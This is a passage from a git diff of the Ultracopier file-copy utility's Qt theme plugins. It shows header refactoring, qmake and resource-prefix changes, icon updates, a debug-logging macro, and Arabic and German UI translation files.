- void setFileProgression(const QList<ProgressionItem> &progressionList);
- /// \brief set collision action
- void setCollisionAction(const QList<QPair<QString,QString> > &);
- /// \brief set error action
- void setErrorAction(const QList<QPair<QString,QString> > &);
- /// \brief set the copyType -> file or folder
- void setCopyType(CopyType);
- /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
- void forceCopyMode(CopyMode);
- /// \brief set if transfer list is exportable/importable
- void setTransferListOperation(TransferListOperation transferListOperation);
- /** \brief set if the order is external (like file manager copy)
- * to notify the interface, which can hide add folder/filer button */
- void haveExternalOrder();
- /// \brief set if is in pause
- void isInPause(bool);
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_file;
+ };
+ /// \brief get the widget for the copy engine
+ QWidget * getOptionsEngineWidget();
+ /// \brief to set if the copy engine is found
+ void getOptionsEngineEnabled(const bool &isEnabled);
+ /// \brief get action on the transfer list (add/move/remove)
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions);
+ //get information about the copy
+ /// \brief show the general progression
+ void setGeneralProgression(const quint64 &current,const quint64 &total);
+ /// \brief show the file progression
+ void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList);
+ /// \brief set collision action
+ void setCollisionAction(const QList<QPair<QString,QString> > &);
+ /// \brief set error action
+ void setErrorAction(const QList<QPair<QString,QString> > &);
+ /// \brief set the copyType -> file or folder
+ void setCopyType(const Ultracopier::CopyType&);
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ void forceCopyMode(const Ultracopier::CopyMode &);
+ /// \brief set if transfer list is exportable/importable
+ void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation);
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ void haveExternalOrder();
+ /// \brief set if is in pause
+ void isInPause(const bool &);
signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- //set the transfer list
- void removeItems(QList<int> ids);
- void moveItemsOnTop(QList<int> ids);
- void moveItemsUp(QList<int> ids);
- void moveItemsDown(QList<int> ids);
- void moveItemsOnBottom(QList<int> ids);
- void exportTransferList();
- void importTransferList();
- //user ask ask to add folder (add it with interface ask source/destination)
- void userAddFolder(CopyMode);
- void userAddFile(CopyMode);
- void urlDropped(QList<QUrl> urls);
- //action on the copy
- void pause();
- void resume();
- void skip(quint64 id);
- void cancel();
- //edit the action
- void sendCollisionAction(QString action);
- void sendErrorAction(QString action);
- void newSpeedLimitation(qint64);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
+ #endif
public:
- //constructor and destructor
- InterfacePlugin(FacilityInterface * facilityEngine);
- ~InterfacePlugin();
+ //constructor and destructor
+ InterfacePlugin(FacilityInterface * facilityEngine);
+ ~InterfacePlugin();
private:
- Ui::interface *ui;
- quint64 currentFile;
- quint64 totalFile;
- quint64 currentSize;
- quint64 totalSize;
- void updateTitle();
- QMenu *menu;
- EngineActionInProgress action;
- void closeEvent(QCloseEvent *event);
- void updateModeAndType();
- bool modeIsForced;
- CopyType type;
- CopyMode mode;
- bool haveStarted;
- QList<ItemOfCopyListWithMoreInformations> InternalRunningOperation;
- int loop_size,index_for_loop;
- int sub_loop_size,sub_index_for_loop;
- currentTransfertItem getCurrentTransfertItem();
- FacilityInterface * facilityEngine;
+ Ui::interface *ui;
+ quint64 currentFile;
+ quint64 totalFile;
+ quint64 currentSize;
+ quint64 totalSize;
+ void updateTitle();
+ QMenu *menu;
+ Ultracopier::EngineActionInProgress action;
+ void closeEvent(QCloseEvent *event);
+ void updateModeAndType();
+ bool modeIsForced;
+ Ultracopier::CopyType type;
+ Ultracopier::CopyMode mode;
+ bool haveStarted;
+ QList<ItemOfCopyListWithMoreInformations> InternalRunningOperation;
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ currentTransfertItem getCurrentTransfertItem();
+ FacilityInterface * facilityEngine;
private slots:
- void forcedModeAddFile();
- void forcedModeAddFolder();
- void forcedModeAddFileToCopy();
- void forcedModeAddFolderToCopy();
- void forcedModeAddFileToMove();
- void forcedModeAddFolderToMove();
+ void forcedModeAddFile();
+ void forcedModeAddFolder();
+ void forcedModeAddFileToCopy();
+ void forcedModeAddFolderToCopy();
+ void forcedModeAddFileToMove();
+ void forcedModeAddFolderToMove();
};
#endif // INTERFACE_TEST_H
diff --git a/plugins-alternative/Themes/Clean/interface.pro b/plugins-alternative/Themes/Clean/interface.pro
index 20fd1dd..eb124c9 100644
--- a/plugins-alternative/Themes/Clean/interface.pro
+++ b/plugins-alternative/Themes/Clean/interface.pro
@@ -1,31 +1,36 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
TEMPLATE = lib
CONFIG += plugin
HEADERS = interface.h \
- interface/PluginInterface_Themes.h \
- StructEnumDefinition.h \
+ StructEnumDefinition.h \
factory.h \
../../../interface/PluginInterface_Themes.h
SOURCES = interface.cpp \
factory.cpp
TARGET = $$qtLibraryTarget(interface)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
+TRANSLATIONS += Languages/ar/translation.ts \
Languages/de/translation.ts \
Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
Languages/it/translation.ts \
Languages/ja/translation.ts \
- Languages/id/translation.ts \
+ Languages/ko/translation.ts \
+ Languages/nl/translation.ts \
+ Languages/no/translation.ts \
Languages/pl/translation.ts \
Languages/ru/translation.ts \
- Languages/tr/translation.ts \
Languages/th/translation.ts \
- Languages/hi/translation.ts \
- Languages/nl/translation.ts \
- Languages/no/translation.ts \
- Languages/pt/translation.ts \
- Languages/ko/translation.ts
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
FORMS += \
interface.ui
diff --git a/plugins-alternative/Themes/Clean/interface.ui b/plugins-alternative/Themes/Clean/interface.ui
index 1ac0e4a..f178af7 100644
--- a/plugins-alternative/Themes/Clean/interface.ui
+++ b/plugins-alternative/Themes/Clean/interface.ui
@@ -41,7 +41,7 @@
</font>
</property>
<property name="text">
- <string>In wait</string>
+ <string>Waiting</string>
</property>
</widget>
</item>
@@ -72,7 +72,7 @@
<action name="actionAddFile">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Add file</string>
@@ -81,7 +81,7 @@
<action name="actionAddFolder">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Add folder</string>
@@ -90,7 +90,7 @@
<action name="actionAddFileToMove">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Move file(s)</string>
@@ -99,7 +99,7 @@
<action name="actionAddFolderToMove">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Move folder</string>
@@ -108,7 +108,7 @@
<action name="actionAddFileToCopy">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy file(s)</string>
@@ -117,7 +117,7 @@
<action name="actionAddFolderToCopy">
<property name="icon">
<iconset>
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/Themes/Clean/resources/add.png</normaloff>:/Themes/Clean/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy folder</string>
diff --git a/plugins-alternative/Themes/Clean/plugin.json b/plugins-alternative/Themes/Clean/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins-alternative/Themes/Clean/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins-alternative/Themes/Clean/resources.qrc b/plugins-alternative/Themes/Clean/resources.qrc
index 67c550f..40533c4 100644
--- a/plugins-alternative/Themes/Clean/resources.qrc
+++ b/plugins-alternative/Themes/Clean/resources.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Clean">
<file>resources/SystemTrayIcon/informations.png</file>
</qresource>
</RCC>
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/informations.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/informations.png
index e1eb797..5b7b255 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/informations.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/informations.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Unix.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Unix.png
index a81e70d..6f5d1cf 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Unix.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Windows.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Windows.png
index 8072aea..5464856 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Windows.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Caught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
index f40ea82..3961215 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
index 8d673e4..45d6315 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Unix.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Unix.png
index 9ce4779..ac4299a 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Unix.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Windows.png b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Windows.png
index d0fca1b..6e6bae7 100644
--- a/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Windows.png
+++ b/plugins-alternative/Themes/Clean/resources/SystemTrayIcon/systray_Uncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Clean/resources_unix.qrc b/plugins-alternative/Themes/Clean/resources_unix.qrc
index ae3894b..847cc1c 100644
--- a/plugins-alternative/Themes/Clean/resources_unix.qrc
+++ b/plugins-alternative/Themes/Clean/resources_unix.qrc
@@ -1,6 +1,6 @@
<RCC>
- <qresource prefix="/">
- <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
+ <qresource prefix="/Themes/Clean">
+ <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Unix.png</file>
</qresource>
diff --git a/plugins-alternative/Themes/Clean/resources_windows.qrc b/plugins-alternative/Themes/Clean/resources_windows.qrc
index 99829b3..7d8bbe1 100644
--- a/plugins-alternative/Themes/Clean/resources_windows.qrc
+++ b/plugins-alternative/Themes/Clean/resources_windows.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Clean">
<file>resources/SystemTrayIcon/systray_Caught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Windows.png</file>
diff --git a/plugins-alternative/Themes/Supercopier/DebugEngineMacro.h b/plugins-alternative/Themes/Supercopier/DebugEngineMacro.h
new file mode 100644
index 0000000..4582010
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/DebugEngineMacro.h
@@ -0,0 +1,28 @@
+/** \file DebugEngineMacro.h
+\brief Define the macro for the debug
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef DEBUGENGINEMACRO_H
+#define DEBUGENGINEMACRO_H
+
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
+/// \brief Macro for the debug log
+#ifdef ULTRACOPIER_PLUGIN_DEBUG
+ #if defined (__FILE__) && defined (__LINE__)
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) emit debugInformation(a,__func__,b,__FILE__,__LINE__)
+ #else
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) emit debugInformation(a,__func__,b)
+ #endif
+#else // ULTRACOPIER_DEBUG
+ #define ULTRACOPIER_DEBUGCONSOLE(a,b) void()
+#endif // ULTRACOPIER_DEBUG
+
+#endif // DEBUGENGINEMACRO_H
+
+
+
+
diff --git a/plugins-alternative/Themes/Supercopier/Environment.h b/plugins-alternative/Themes/Supercopier/Environment.h
new file mode 100644
index 0000000..265a5a6
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Environment.h
@@ -0,0 +1,10 @@
+/** \file Environment.h
+\brief Define the environment variable and global function
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include "Variable.h"
+/// \brief The global include
+#include "StructEnumDefinition.h"
+#include "DebugEngineMacro.h"
+
diff --git a/plugins-alternative/Themes/Supercopier/Languages/ar/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/ar/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/ar/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/de/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/de/translation.ts
new file mode 100644
index 0000000..c1177e9
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/de/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="de" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Kaufen Sie die Ultimate-Version um die Entwicklung zu unterstützen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>Datei %1/%2, Größe:%3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation>Zu kopierende Dateien</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation>Zu verschiebende Dateien</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Bei Fehler nicht</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation>Nie</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation>Immer</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation>Dateiname, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation>Farbe auswählen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation>%1 %2 von %3</translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Nicht schließen, wenn Fehler aufgetreten sind</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation>Niemals schließen</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation>Immer schließen</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation>Wählen Sie eine Farbe</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>Von:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation>Nach:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation>Am Ende des Transfers schließen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation>&amp;Mehr</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Pause</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation>Über&amp;springen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation>Abbrechen (&amp;C)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation>Dateiliste</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation>Ausgewählte Einträge löschen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation>Dateiliste exportieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation>Dateiliste importieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation>Vorherige</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation>Nächste</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation>Darstellungsoptionen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation>Ausgewählte Einträge an den Listenanfang verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation>Begrenze Kopiergeschwindigkeit auf:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation>Ausgewählte Einträge einen Platz nach oben verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation>Ausgewählte Einträge einen Platz nach unten verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
